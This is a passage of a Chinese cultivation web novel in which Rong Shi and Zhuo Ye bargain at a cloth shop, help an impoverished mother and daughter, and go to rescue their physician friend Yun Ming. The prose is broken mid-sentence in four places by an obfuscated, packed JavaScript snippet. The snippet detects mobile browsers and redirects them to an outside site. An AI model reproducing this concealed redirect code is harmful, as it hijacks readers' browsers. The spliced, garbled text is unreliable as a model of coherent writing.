“听说昨天晚上,宗主去看你了,”灼夜似乎对容识身上的事都很感兴趣,“他是不是没有传说中那么可怕?” “的确。”容识想起一些旧事。之前柏仁带领的列星宗分支加入了清源盟,他们有过几面之缘,他为人不算和善,但对上熟悉的人就很热情。 昨晚兰玦突然登门,递给他一张符咒,说:“这是我从桓礼身上拿的,他的尸身和身上的符咒都被送去中州了,只剩下这一张在我这儿。本来都快忘了,收拾东西的时候突然看到,我觉得你可能会感兴趣,就拿来给你了。” 那是一张限制行动的坠山符,贴在人身上,似有大山压顶,动弹不得。之前大殿上,桓礼贴在他身上的就是这种符咒。 他坐在灯下看了半晌,都没看出符咒有什么特别的地方,刚把符咒收在储物袋内,就听见敲门声响起,是柏仁上门拜访。 “好香啊!”灼夜皱着鼻子闻了闻,跑去打开房门,须臾几个小二鱼贯而入,布完菜便走了。 容识把其中一桌的菜收进了储物袋,灼夜看剩下那桌摆得满满当当的美食,眼睛都直了,几人落座以后,迫不及待往嘴里塞了好几块红烧肉。 兰玦拿起冰镇的紫苏饮,“要是有酒就好了,喝他个不醉不归。” 云明连忙抬手:“诶诶诶,咱们都还有内伤,最近半个月还是别喝酒了。而且这年头,碰上省心的病人是真的不容易,就算不爱惜自己的身体,那好歹给我这医师一个面子嘛!” 容识和灼夜忍不住地笑,自打认识云明以后,他这个医师的日子过得确实省心不了一点。 兰玦知道云明的好意,没有强求,忍笑道:“来,以水代酒,干了!” 五人举杯,异口同声:“干!” 桌上的菜一道一道地减少,窗外的日光一寸一寸地西斜。饭吃完后,容识、灼夜和云明送兰玦与青音走到城门口。 出了城门,兰玦停住了脚,“不必送了,走了。” 青音拽住她的衣袖,看着容识三人,似有不舍,“三位哥哥,有缘再会!” 兰玦话罢便回过头走得干脆,青音跟在她身侧,不住地向后挥手。 容识颔首笑道:“再见。” 灼夜撩开帷帽的皂纱,“一定会再见的!” 云明突然想起什么,“以后如果去药王山,报我名字能打八折,可别忘了!” 烈日下一阵清风拂过,道旁葱郁的树枝摇曳,兰玦举起一只手竖了个拇指晃了两晃,意思是知道了。 直到两人消失在视线里,云明才道:“容识的身体已经恢复得差不多,我们也该走了。” 灼夜问:“我们什么时候走?” 云明想了想,“后天吧。我药材不够了,得去药王山在凡间开的铺子里拿一些,正好隔壁常泉县就有一家,我得去一趟,酉时初应该能回来。你俩逛完了直接回列星宗就行。” 目送完云明,灼夜拉着容识回城,“方才出城路上我看到一家成衣铺,我们去看看吧!” “好。” 隔着皂纱,容识看见灼夜压不住的嘴角,他对新衣裳的期待溢于言表。 此时日头毒辣,街上行人不多,路过茶馆时,容识看见聚在一起闲聊的男男女女,路过大树下,他看见摇扇乘凉的老人,走过水井边,看见嘻嘻哈哈打闹的孩子。 容识掀起皂纱的一角,今日天空明澈湛蓝,没有硝烟,没有血色,而与他擦身而过的,是普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373086|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通的百姓过着生命中最寻常的一天,没有战事、没有瘟疫,是最好的一天。 “这身看着挺适合你的,要不要试试?” 容识看见灼夜拿了一身亮眼的红衣往他身上比划,脸上是皂纱都遮不住的雀跃。 恍惚间,好像他们也是万万众生中普通的两个人。 没等到回答,灼夜把衣服从容识身侧移开,“你不喜欢么?” 见对方摇了摇头,灼夜一把将衣裳塞进容识怀里,推他进了里屋:“那就试试吧!” 容识失笑,认命地换好了衣服,打开房门时,只见灼夜瞳孔微微放大,似乎愣住了。 这是什么意思? 容识在衣服首饰上不太讲究,还未细想,便听灼夜喃喃道:“怎么回事……” 灼夜匪夷所思,倒不是不好看,热烈灼灼的红衣衬得容识肤白若雪,眉间一点小痣更添仙风道骨,恍若天人,摄人心魄,让他呼吸都不由得屏住了一瞬。 但为什么穿了这般艳丽明亮的颜色,容识身上的死气反而更重了? 像是以人心为食的……艳鬼。 “什么?”容识问。 “没什么,就是这个颜色不太衬你。”灼夜把他推回房间,“先换下来吧,这铺子里的衣服都不合我眼缘,我们去对面的布庄看看!” 片刻后容识坐在店内一角,看灼夜站在红色系布料前挨个儿拿起来看,“我们明天就要启程,买布料交给裁缝,一晚上能做出两身衣服么?” 这家布庄很大,里面不仅有各色布料,还卖些衣服上的装饰,品质皆属上乘,因此店内客人不多。 “我之前问过客栈掌柜,他说只要钱给得够多,一晚上做十套衣服都可以。”灼夜千挑万选出几块布料,放在容识面前的桌上,“就这些了!” 容识不懂,“看得见摸得着的成衣都有不合适的,只买布料,万一做出来也不合你的眼缘呢?” “不会的!”灼夜很有自信,说罢又去挑了些金丝银线珍珠和镜子之类的东西。 这么肯定? 不过灼夜眼光不错,对衣服首饰的了解比他多得多,容识便没再多说。 掌柜一见便知来了个出手阔绰的富家少爷,拨弄完算盘之后,摸着胡子道:“一共一百五十两银子。” “这么贵么?”灼夜愣住,仔细看了手下那些东西的品质,犹豫道:“你这珍珠不是南海海水珠,纱不是月光纱……” “这位少爷,这您可就不懂了,”掌柜故作深沉地摇头,打断了灼夜的话,“咱们这儿是方圆几个县城最大的布庄,货品肯定都是上上等的!你看这珍珠是荆湖出产,虽比不得南海,但也是千里迢迢运送过来的,耗时费力,成本极高,这价格嘛,自然就贵了些。这月光纱……” 容识撑着头看掌柜说得天花乱坠,而灼夜眼睛里闪过几分茫然,思索过后一咬牙道:“那、那好吧,包起来。” “好嘞!”掌柜喜笑颜开,来到容识桌前取布料。 容识按住了掌下布料,不出意外看见掌柜的笑容被疑惑取代,“等等。” “啊?”灼夜跟过来问:“等什么?” 21. 衣裳 “五十两。”容识砍价砍得干脆。 灼夜的目光在容识和掌柜身上徘徊。 什么意思,容识这是在砍价么?可是砍这么多,掌柜能答应么? “不是!”掌柜显然被气笑了,“这位客官,不是我说你,不懂行情就不要乱说话,你这上来就砍一半还多,我们这生意哪里还做得下去?” “这些东西,你报给旁人的也是这个价么?”容识没再看他,“店大欺客,可不是正经做生意的道理。” 掌柜故意把这些东西高价卖给他们? 灼夜握紧了拳,虽然他们现在有钱了,但也不能白白给了这些贪婪之徒! “你!你胡说什么?”掌柜气急,声音却低沉下去,他扫了眼店内,见没有别的客人,才道:“说我店大欺客,你有什么证据?这是诬陷!我见你们年轻,许是不知世事,才几番忍让,好言相劝,你们不要不识好歹!” “证据,待我们报了官自然会有,不过到时候你这店还能不能开下去,就得听天由命了。”容识话罢起身向外走。 灼夜赶忙跟在容识身侧,听对方问:“平蔚府衙在哪里来着?” 他想了想:“我记得离得不远,就在旁边那条街上!” “等等等等!” 听见掌柜的叫喊,灼夜本能地想回头,却被容识一把拽住手臂,坚决地往外走,他只好凑到容识耳边问:“我们真走么?” “有话好说啊客官!五十两就五十两!” 容识不紧不慢地停下,回头看掌柜。 灼夜不明白他到底想做什么,懵懂地跟着回头。 掌柜见有戏,把灼夜挑的东西全都包好送了来,“刚才啊是我老眼昏花,把这些东西的价钱给记岔了,客官大人有大量,别跟我这一把年纪的糟老头子计较啊!” 包裹几乎被掌柜塞到怀里,灼夜不知道该不该接,有点尴尬,便侧过头用眼神问容识。 见容识微微点头,他才接了包裹,取出五十两银子放在掌柜手心。 “掌柜。”容识突然叫道。 掌柜收了银子,忐忑道:“客官还有什么吩咐啊?” 容识笑道:“没什么,只是掌柜日理万机,也得注意身体才是,不然把眼睛熬坏了,这铺子可要如何是好?” “是,是!”掌柜连连点头,“多谢客官挂心。” 出了门,灼夜远远看着布庄的铺面,“容识,你是怎么知道他故意卖高价给我们的?” “他打算盘时,每个东西都算了双倍的价格。”容识看了眼灼夜,戴了帷帽看不到脸、身上也没有什么价值不菲的首饰,还是被当成人傻钱多的富家少爷,难道是气质的原因? “这样啊。”好不容易有钱了,想买点东西还差点被宰,灼夜高兴不起来,闷闷地问:“那你砍价砍了不止一半,他怎么还同意卖给我们?” 容识道:“一是少卖几十两银子他亏不了多少,二是万一我们真去报官,事情闹大了对他的铺子影响更大,不值得。” 话罢他拍了拍灼夜肩膀,“不管怎么说,少花了几十两,应该高兴才对。” “也是。”灼夜点点头。虽说过程曲折了些,终归省了钱。 他拉紧了容识,“走,我们找裁缝去!” 两人在小巷子里找到客栈掌柜说的那家裁缝铺,把包裹放在了裁缝眼前。 她打开看了一下,犹豫道:“这些东西价值不菲,要做成两身衣服,得好些人一起来,只有一天两夜的时间,怕是不够……” 灼夜心里发愁,该怎么说服这位掌柜,难道还要拜托容识?云明说过不能让容识思考太多东西,而且他也不好意思碰到什么事都让容识去解决。 他思索了一下,“那,一百两够么?” 裁缝斟酌片刻,眉宇间的迟疑一扫而空,应承下来:“好,一定按照您说的样式去做。只是价钱太高,需要先交三十两的定金,您看……” 这么容易就答应了? 灼夜刚还在想万一她拒绝应该说点什么,毕竟这是客栈掌柜和小厮都推荐的铺子,应该是不错的。 至于定金……不是很懂。 他歪头看了下容识,见对方点头才一口答应:“行,那我们后日巳时末来拿衣服。” 容识看得出灼夜不愿意让自己插手这些简单的小事,便乐得清闲,只坐在旁边看他和掌柜说话。 他平时挺开朗一个人,但面对陌生人似乎总是很紧张,整个人不自觉绷得很紧,即便对面是没有什么危险性的普通人。 应该不是过于警惕造成的。 那是因为什么? 灼夜说完,从怀中的储物袋内取出三十两黄金放在桌上。 掌柜困惑道,“客官,您这是?” “定金啊。”灼夜挠挠头。 “我们说的一百两,应该是……”掌柜试探地问。 灼夜随即明白过来,“哦哦哦,我说的一百两是黄金呀。” 容识听见掌柜顿时深吸了一口气,大概是从没见过这么财大气粗、不知物价几何的富贵少爷。 但想要一天两夜之间做成两套品质上乘的衣裳,须得二十几位裁缝、绣娘一起赶工,这样算下来,一百两黄金这个价不算太离谱。 谈好价钱之后,为了让掌柜完全理解自己想要的衣裳是什么样,灼夜可谓用尽了毕生所学的词汇,“绛红色布料做的这件,尺寸一定不能出差错,外层月光纱的袖子最好做得宽大一些,要那种……飘飘乎遗世独立,羽化而登仙的效果,总之就是穿上去像仙人。还有……” 掌柜用来记事的纸翻了四五页,灼夜的声音越说越小,终于,小半个时辰后他停了下来,思忖片刻发现没什么要说的了,才跟容识一起出了铺子。 许是说话太多,他喉咙有点痒,忍不住侧过身咳嗽了几声,刚转过来就见眼前多了一碗暗红色的东西,“这是什么?” 容识浅笑,“绿豆汤。” 储物袋能保留食物放进去时的温度,所以手上的汤还是凉的,在日头正烈的夏日有极大的诱惑力,灼夜端着碗一饮而尽,冰凉沁入四肢百骸,嗓子的不舒服缓解了许多。 “这么好喝……还有么?”他盯着一干二净的碗底,不敢相信这么简单的东西,味道竟然这么好。 他觉得他现在最爱喝的东西,应该就是绿豆汤了。 小巷内太阳照不到的阴凉处,有微风拂过。 碰到好吃好喝好玩的东西,灼夜的反应总是如此纯粹,容识又取出一碗来,碗底残留在指尖一丝凉意。 他伸出手穿过阴凉,灼热的日光落在手掌,好似抓住了太阳。 忽然,容识感知到窥探的目光,蓦地转身。 一个个子不高的小女孩躲在不远处,扒着墙角痴痴地望着灼夜手里的绿豆汤。 灼夜觉出容识那一瞬间的紧张,跟着望过去,墙角的小女孩腼腆地笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373087|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,抿了抿干瘪的嘴唇。 她看我做什么?不对,她看的是绿豆汤,是想喝么? 他循着小女孩的视线,看回手里的绿豆汤,心想还好这碗他还没喝,当即走了过去,蹲下来把汤端给了她,“你想喝么?” 小女孩不敢接,一双葡萄般的眼睛盯着灼夜。 容识走到灼夜身后,低下身道:“哥哥有点喝不下了,这碗绿豆汤,你能不能帮忙解决一下?” 小女孩看了两人半晌才把绿豆汤接到手里,然后转身就跑。 “诶!”灼夜始料未及,“慢点跑别摔着!” 小女孩头也不回,跑进不远处的一个院子之后,砰地关上了门。 灼夜喃喃道:“这是什么意思,害怕我?” 正摸不着头脑,便听容识提议道:“不如跟上去看看?” 左右无事,他点了点头,两人轻手轻脚走到小女孩跑进去的院落外面,听里面的动静。 “这是哪儿来的?”院中屋内响起一个虚弱低沉的声音,听年龄似乎是小女孩的母亲。 “有个哥哥,给的。”应当是小女孩的声音。 “是么?”母亲不敢相信,“他们在哪儿,你跟哥哥说谢谢了么?” 院中陷入沉默,小女孩有些懊恼:“……忘了。” 一阵急促的脚步声由远及近,门被打开,露出女孩小小的身影,她径直往容识和灼夜方才站的地方跑。 “诶……”灼夜刚想喊她,嘴巴就被捂住了,一股略带苦涩的草药味随着呼吸萦绕在身侧。 他转头看着容识,对方轻声道:“先别说话。” 他听话地点了点头,容识放开了手,药味随即远去了。 容识道:“我们要是出现,会给她们太大压力。还是消失的好。” 小女孩张望许久都没看到熟悉的人影,整张脸紧紧地皱在一起。 “小丫。” 容识和灼夜循声望去,见一个消瘦的女人躺在里屋的床上,大概就是小女孩的母亲,她咳嗽几声,招呼小女孩回去。 小丫噔噔噔跑回她身边,女人摸了摸她的头,“你老实告诉娘,是不是因为我中了暑气,躺了几天都没好,你听隔壁的爷爷说绿豆汤能解暑,才……” “我没有!”小丫气鼓鼓地说,“我没说谎,就是两个哥哥给的,我没去偷。我跟你说过了,我不和小虎玩了是因为他要带我去偷东西,我和他不一样,我才不会去偷。” “真的?”女人看着小丫的眼睛又问了一次。 小丫用力地点头,“真的!” “好好,娘信你。”女人没有再执着,“娘知道小丫,小丫说没有就是没有。” 她闷头喝了一半绿豆汤,把剩下半碗塞到了小丫手里。 小丫喝得很慢,时不时舔一下嘴巴,眯起眼睛说:“好甜啊娘。” “是啊,”女人半抱着她,“那小丫要喝完,一滴都不能浪费啊。” 小丫重重点头,绿豆汤见底后,她把碗洗刷干净放在了灶台边,又到家门口关上了门。 灼夜方才不明白容识为什么不让他见小丫,现下他知道了。一碗绿豆汤,在他们眼里只是再简单不过的东西,对她们而言,却是不可多得的解暑药。 要是见面,小丫的母亲会怎么想,她还会不会喝那碗汤? 他回头看容识,“我想……我想帮帮他们。” 容识问:“怎么帮?” 22. 木簪 灼夜从储物袋里掏出了十两黄金。 容识摇摇头,让他把黄金放回去,“如果你的邻居,家里只有母女二人相依为命,生活拮据,可有天她们出门买东西,花的钱是这么大一坨金子,你会怎么想?” 灼夜想起小丫母女方才的话,“会怀疑他们是偷来的……” 他把黄金收起来,找了几大串铜钱,“这个应该可以吧?” “还有呢?” “还有?”灼夜努力思考,容识的意思好像不是说他钱给的不够,那是在说什么? 容识点了点他的额头,“要是柏宗主给你的钱都花光了,你会做什么?” “想办法赚钱吧。”灼夜恍然,“你是说,让她们去赚钱!” 但他们在这儿人生地不熟的……等等。 他一把握住容识的手,“我知道了,可以让她们去刚才那个裁缝铺赚钱啊!” 容识点头一笑,“走吧。” 灼夜虽说对人类世界的诸多规则不太了解,但只要稍加点拨,便能立刻想明白其中关窍。 “好!”用灵力把一串铜钱放在盛绿豆汤那碗旁边,灼夜拉着容识道:“走!” 有了跟人类沟通的经验,灼夜面对裁缝铺掌柜时,心里的紧张感减轻了不少,不等掌柜问他们为何去而复返,便道:“掌柜能不能帮我们一个忙?只是……跟我要的两身衣服没关系。” “什么忙?”掌柜问。 眼前的客人这次给的钱,足够这个铺子和手底下的裁缝绣娘们,过上不知多少年无忧无虑的生活了,即便他的要求跟这次买卖没关系,掌柜心里也愿意帮一把的。 灼夜回想小丫家的位置:“就是……出了铺子,在第一个岔路左拐,在第二个岔路右拐第一个院子,住着一个小女孩跟她母亲,可不可以让她母亲来铺子里干活?” 掌柜想了片刻,明了道:“你说的那个小女孩是不是叫小丫?” 灼夜好奇:“对。你认识她们?” “住得这么近,当然认识呀,”掌柜叹了口气,看出两人是真心想帮,小声道:“小丫她娘姓张,我们都叫她张姐。她们家也是可怜,听说她们从京城来的,家里原先好像是当官的,后来小丫爹犯了事,坐了牢,家产都被抄没了,说是检举有功,才没连累娘俩也入宫为奴。但她们孤儿寡女两个人,在京城也活不下去了,张姐就想着回娘家,走到我们这儿的时候,收到了她弟弟的信,说怕被小丫爹的事连累,其实就是不想多养两口子人,不让俩人回去,她们没了法子,只能在这儿住下了。” 灼夜没想到,两个相依为命的人背后有这么一段曲折的往事。他不通人情世故,却也知道这等秘密,张姐应该不愿意被旁人知道,掌柜为何要跟他说这些? 他犹豫道:“那……” 掌柜见他迟疑,以为他跟张姐弟弟一般怕被牵连,谁知他继续道:“那这个忙,掌柜愿意帮么?” “那是自然,”掌柜莞尔一笑,“她们来这儿还没半个月,我怕突然跟她说来我这里,她心里乱想。正好这次您要做的衣裳需要人手,我就跟她说人手不够,让她来帮忙,就成了。” 事情这么轻易就解决了,灼夜有点不敢相信,想飞上天去好好兜几圈风,“多谢掌柜!” 两人从裁缝铺出来,灼夜脚步轻快地往前走,歪头一看才发现容识落在他身后一大截,赶忙掉头回容识身侧,对方戴着帷帽,他看不见容识的脸色,只能掀开皂纱一角。 “嗯?”容识侧过脸,看见灼夜探头探脑地靠近。 “你是不是累了?”灼夜问。 容识下意识摇头。头脑昏沉、四肢无力、内腑疼痛,这些问题在他身上存在太久,他已经习惯了。 灼夜很难分辨出他是不是真的不累,便道:“我们最后再去买些发簪吧,买完就回列星宗。” “好。”容识微微点头。他有些脚下虚浮,感觉不到自己脚步的轻重快慢。 灼夜放下皂纱,低头时看见容识深一脚浅一脚地走路。 根据他的观察,正常人走路,脚步深浅都是有规律的,容识都走不稳了,还说不累? 他心里无端冒出些火气来,怎么让容识说句真话比登天还难?还是说他受伤太多,已经习惯身体的不舒服,不觉得走不稳也算累? 灼夜想了想,牵住了容识的手腕。万一他走着走着要摔了,也好及时拉住他。 容识一愣,隔着皂纱看见灼夜的手,对方的手掌比日光还要灼热。 心脏浮出说不清道不明的感觉,似乎他和灼夜之间太亲密了一些,容易造成误会。若是误会大到像萧随、镜真那般,可就不好了。 不过灼夜不是人类,看他对生人那种紧张和陌生感,不像跟人类生活过的样子,不懂人类的弯弯绕绕和诸多礼仪规矩,也很正常。自己是不是以小人之心度君子之腹了? 容识闭上眼,任由灼夜把他拉到一个支在阴凉处的小摊前。 灼夜松了他的手,从摊上拿出一只细长的木簪,木簪黑中发红,一头刻了小巧的莲花,栩栩如生。 “我想要这个。” 摊主摆出讨好的笑:“二十文,客官。” 灼夜暗暗地想,方才买布料,掌柜故意卖高价给他们,容识砍了一半多的价钱。他是不是也该砍价试试? 他学了容识的口气,斩钉截铁道:“十文。” “十文?”摊主眼睛瞪大了,“客官,这……这簪子可是我亲手做的,你看这雕工,这花纹,卖你十文我还怎么做生意?!” 灼夜捏着木簪,“可是它只是普通木材做的,又不是……” 还没说完,容识拍了一下他的帽檐,从他手中拿走簪子,取出了二十文钱。 “等等!”灼夜在摊主带着怨气的目光里拦住了容识,“说好了我送你的,该我买才对。” 他从怀中取出二十文放在摊上后,便被容识拉走了。 等走远了,容识才道:“街上小摊做生意不容易,不必太过计较。” “……我明白了。”灼夜若有所思,“布庄那么大,掌柜还故意卖高价给我们,让他亏几十两银子也算涨涨教训,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373088|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些小摊的摊主都是普通人,靠摆摊过日子,也没有赚黑心钱,所以不能那样讨价还价,对不对?” “嗯。”容识轻轻应了一声。 学到了很多人情世故,灼夜慢慢消化,却忍不住又问:“对了,我记得绿豆汤不都是绿色的么,为什么我喝的那碗是暗红色的,里面放了别的东西么?” 容识笑道:“没有。煮绿豆时若用南方的水,汤便是绿色的,用北方的水就是红色,是水质有差别。” “真的?”灼夜回想了一下,虽然他失忆了,但有些常识没忘,玉池在南方,所以他记忆里的绿豆汤是绿色很合理。 衣裳和发簪买齐了,两人便并肩往城门走。 容识有些话在心里绕了三圈,看到灼夜唇角的笑,又咽了回去。 这时候问他“若是碰到以自己的能力实在帮不到的人该怎么办”,也太扫兴了。 出城门到拐角僻静处,容识被灼夜拉着飞往列星宗。 一直待在屋内没什么意思,两人干脆在宗内闲逛起来。列星宗身为五大宗门之一,所在的列星山及周边灵气充裕,容识望向山下,只见远处一条清澈的深蓝色河流在原野上九曲十八弯,如同九连玉环,景色如画,超世脱俗。 他高估了自己如今的身体状况,实在没力气再走,又想看景色,便在前方一处小亭中坐下,依靠在栏杆上。 “这里的景色可真好,”灼夜坐在他对面,“我之前都没见过这么奇怪的河,不过虽然奇怪,但好看。” 容识点了点头。他此前天南海北辗转过许多地方,但当时事务繁忙,脑子里只能容得下战事,根本没有时间来得及去看什么特别的景致。 死过了一回,倒是终于能闲下来欣赏这九州万物。 他向身后亭柱上一靠,就听“啪嗒”一声,是用来束发的树枝碰到柱子掉在地上,长发丝丝缕缕垂了下来。 容识这才想起灼夜给他买的木簪,刚取出来便听对方道:“等等。” 灼夜起身站到他面前,试探地问:“我来帮你束发吧?” 他下意识想拒绝,还没开口,灼夜又说:“我知道你不喜欢把自己的事情给别人做,但是你簪得太松了,所以用来簪发的树枝总容易掉,我可以教你怎么簪得更扎实一点。” 容识心想他说得有道理,老是在大庭广众之下掉了发簪披散头发,太过狼狈,而且失礼,着实不妥,便将木簪递给了他,转过身去。 灼夜感觉自己掌握了说服容识的一些小技巧,抿嘴笑着拢起容识的长发。 这手感怎么跟以前不一样了? 他们刚从随山山庄逃出来,躲在那个破旧屋子休整时,因为给容识穿脱衣服,他碰到过几次容识的头发。 该如何形容这种感觉?那时的长发不说顺滑,也是正常的发质,现在……有些过于干枯了,像是秋天即将枯萎的草木。 灼夜一边想,一边从上到下梳理容识的长发,然后他的手缓缓停下。 “怎么了?”许是他迟迟没有动作,容识不知道他在做什么,故而有此一问。 23. 常泉 “没什么。”灼夜破天荒撒了一次谎,没说实话,“我在想怎么簪发更好看,配你那身衣服。” 他看到了很多的……白发。 隐藏在表面之下,几乎有五分之一那么多。 他莫名心慌,怎么会这样?破屋那会儿,他离容识那么近,都没看到过几根白发,为什么现在有这么多,是他那时没看仔细么? 就算他不通医术,也知道容识这么年轻的人,头上这么多白发不是好事。 等云明回来得好好问问…… 灼夜暗自做了决定,开始给容识簪发,“先从耳朵上面拢一半的头发,然后这样……” 他喜欢倒腾自己,也乐意打扮容识,但一边给人簪发一遍解说还是头一遭,说得磕磕绊绊,还好容识没有不耐烦。 “好了。” 弄完以后,灼夜转到容识身前看他,保留了他簪发的习惯,额角鬓角都留了几缕,但收拢了以往过于杂乱的碎发,仙风道骨,配他要裁缝做的那身衣裳,应该正好。 为了圆刚才撒的谎,灼夜特意问:“你学会了么?” 容识摸了摸发簪上的莲花纹样,觉得灼夜像是学堂里的夫子,而自己是被提问的学生。 他看了看自己的手,有些心虚:“应该……学会了吧?” 风拂垂柳,容识心念一动,走到旁边柳树下折了两段柳枝。 列星宗内自然生长的花草树木繁多,方便了他接下来要做的事。 他走进一片花草从中,蹲下去看眼前开得正盛的花。 “你要做什么?”背后传来灼夜的疑问。 容识挥了挥手,没有说话,身后的人没有再问,只是能感觉到对方一直在看着自己。 他把手中两段柳枝并起来圈成一个圆固定好,摘了各色花朵插在上头,绿色的柳叶衬得花朵鲜妍无比。 不多时,他慢慢起身,朝灼夜走去,将手里的东西戴在了他的头上。 灼夜惊喜道:“这是……花冠?” 他双手虚虚拢着头上容识亲手做的花冠,有点不敢碰,怕把这么珍贵的东西碰坏掉,想了想从储物袋中取出刚买的镜子,看了许久恍然惊醒,而容识已经坐回亭中了。 灼夜一路小跑回亭中坐在容识面前,“容识,谢谢你!” “你送的花冠,我特别喜欢!”他觉得自己现在一定笑得很傻,但实在忍不住,这可是容识亲手做的! 那下次他要送容识东西,是不是也要亲手做一个?下次送什么好呢? 灼夜笑得明灿,连那花冠上满枝的秾丽都不能压过分毫,他身上似乎带着整个盛夏的葳蕤,生机蓬勃,肆意生长。 容识被他的笑感染,随后望向远方,“闲着无聊,随手做的。你喜欢就好。” 灼夜撑着脸想,明明就是特意送他的,非要用无聊这样的借口,容识好像一直都口是心非。 越是如此,他对容识的一切就越感到好奇:“你是怎么会做这个的?” 容识垂下眼,“小时候没人跟我玩儿,只能自己找点事做,弄些小玩意出来打发时间。” 灼夜点了点头,“说起来,虽然忘了很多事,但我记得我小时候也没什么人跟我玩儿。” 容识心道,灼夜这样的神兽,幼时应该做不到化为人形,也不会说人话,却有人的思想,就算遇到飞禽走兽这些勉强可以称为同类的动物,也没办法跟它们交流什么。 这样看来,他们幼时倒是同病相怜。 夜色笼罩下来,极远处的城池亮起一簇一簇的暖色灯火。 容识吃完一盒绿豆酥,看了眼天色,“戌时了,云明没回来么?” “不知道,”灼夜说着起身往外走,“我去他那屋看看。” 须臾他皱着眉折返,“他那屋没人,我问过旁边住的弟子,说没看见他回来。” 容识擦了擦手,按常泉县和平蔚的距离来看,云明说的酉时初回来已是最晚的时间,现下已是戌时,怎么还不见人影,难道是出了什么事? 他果断道:“走,去常泉。” “好。”灼夜把头上的花冠取下来放进储物袋,上前拉住他的手,两人瞬时飞离列星宗。 高空寒冷,容识忍不住咳嗽几声,“往东北直走四十里。” 看上方的乌云,不到一个时辰便会有大雨。 身侧的灼夜看着他频频皱眉,他只好取出帷帽戴上,皂纱薄透,但能遮住一丝一毫的寒气也是好的,更不妨碍他看路指路。 片刻后,两人越过常泉城门,落在城内一处漆黑的小巷。 灼夜四处看了看,小声道:“一座城这么大,我们要怎么找云明说的那个药王山铺子?” “我之前去过。”容识指了下路,“往前走三个街口,左拐,再右拐,第六个铺子就是了。” “真的?”灼夜拉着他掠过一座座院子,“什么时候的事?” 虽说知道容识此前游历过很多地方,但只听他说一两句话,很难对这种经历有什么实感,现在,灼夜深深感觉到容识的见多识广。 他到底去过多少地方,天底下还有他没去过的地方么? 自从落了地,容识一直观察着附近的情况,惜字如金道:“很多年前。” 奇怪,周围没有危险的气息,一切正常。 云明就算取药途中有事耽搁,也不至于拖到戌时,他在外行走没有掩饰过药王山弟子的身份,应当没什么仇家。 会不会是他不小心碰到萧随的属下,被抓了? 眨眼间两人来到那间铺子后面的小院墙外,灼夜神识扫了一圈,皱眉道:“里面没人。” 自来到常泉,容识就紧绷起来,似乎云明的情况不太妙。 他忍不住问:“你觉得云明没有准时回去,是因为被抓了?” “很有可能。”容识缓慢地深吸一口气,“干扰神识的法器不少,不可只信神识。这里有一股汤药味,跟我最近喝的补药,味道一模一样。” 灼夜四处轻闻:“真的有,云明肯定就在里面!可这是药王山开的铺子,自己人为什么要抓自己人?” “之前是自己人,现在就不好说了。”容识扶着墙,“第一种可能,有人顶替了本来驻守药铺的弟子,第二种,这弟子明面上是药王山人,实际已被收买……” 灼夜脑子转得飞快:“萧随?除了他,还有谁会无缘无故抓我们。他也在里面?” 容识摇头,“萧随本人大概尚未赶到,他消息灵通,在这里看到云明,一定会联想到列星宗变故,猜到我们就是传闻中拯救列星宗的修士。按他的行事习惯,既然猜到这点,就不会干耗在常泉守株待兔,定会直接去列星宗找我们。” 灼夜问:“那现在该怎么办?” 容识干脆道:“进去,救人。” 他收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373089|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起帷帽,后退几步,正欲翻墙,却被灼夜拉住了手腕。 灼夜认真道:“里面不知道有什么危险,要不我一个人进去,你在外面接应我们?” “不行。”容识拒绝得毫不留情。 灼夜知道自己肯定说不过容识,只好退而求其次,“那待会儿你跟在我后面,不要动灵力,好么?你的伤还没好全。” 他在意的竟然是这个? 容识有些诧异,须臾点头道:“好。” 灼夜拉着他的手越过墙头,平稳落在地面,没发出一点声响,两人对视一眼,缓步前进。 走了几步,容识忽然道:“等等。” 灼夜立刻停住脚步,容识对危险的感知一向很敏锐,这是发现了什么么? 容识轻声说:“前方三步的地面有机关,下面应该有密室。而且,那个地方药味最浓郁。” 